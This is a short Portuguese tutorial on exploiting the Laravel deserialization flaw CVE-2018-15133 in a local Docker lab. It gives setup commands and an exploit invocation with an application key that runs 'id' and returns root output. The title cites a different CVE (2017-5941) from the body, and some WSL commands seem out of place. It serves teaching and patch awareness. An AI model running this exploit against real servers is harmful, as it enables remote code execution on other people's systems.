
Execução de exploit de desserialização com CVE-2017-5941
Explorando a vulnerabilidade de desserialização CVE-2018-15133 Este exploit aproveita uma vulnerabilidade de desserialização no Laravel Framework até 5.5.40 e 5.6.x até 5.6.29.
A execução remota de código pode ocorrer como resultado de uma chamada unserialize em um valor X-XSRF-TOKEN potencialmente não confiável. Isso envolve o método decrypt em Illuminate/Encryption/Encrypter.php e PendingBroadcast em gadgetchains/Laravel/RCE/3/chain.php no phpggc. O atacante precisa conhecer a chave da aplicação, o que normalmente nunca aconteceria, mas pode ocorrer se o atacante já teve acesso privilegiado ou realizou com sucesso um ataque anterior.
Para executar este exploit, você precisa ter o seguinte instalado em sua máquina:
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
Isso iniciará a máquina Laravel.
Tente abrir a máquina no navegador para garantir que ela está funcionando.
Você pode fazer isso usando o IP e a porta. Para verificar o IP no Windows, execute:
ipconfig
No Linux
ifconfig
wsl --set-default-version 2
wsl --update
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
Isso deve fornecer a resposta com o ID da máquina que você deseja atacar. Você pode usar comandos semelhantes para solicitar pastas e realizar outras tarefas também.
Resposta:
uid=0(root) gid=0(root) groups=0(root)
Em conclusão, nesta vulnerabilidade, pudemos observar a importância de manter os frameworks atualizados. Como essas ferramentas podem ter falhas de segurança e são amplamente utilizadas, corremos risco se não nos mantivermos atualizados.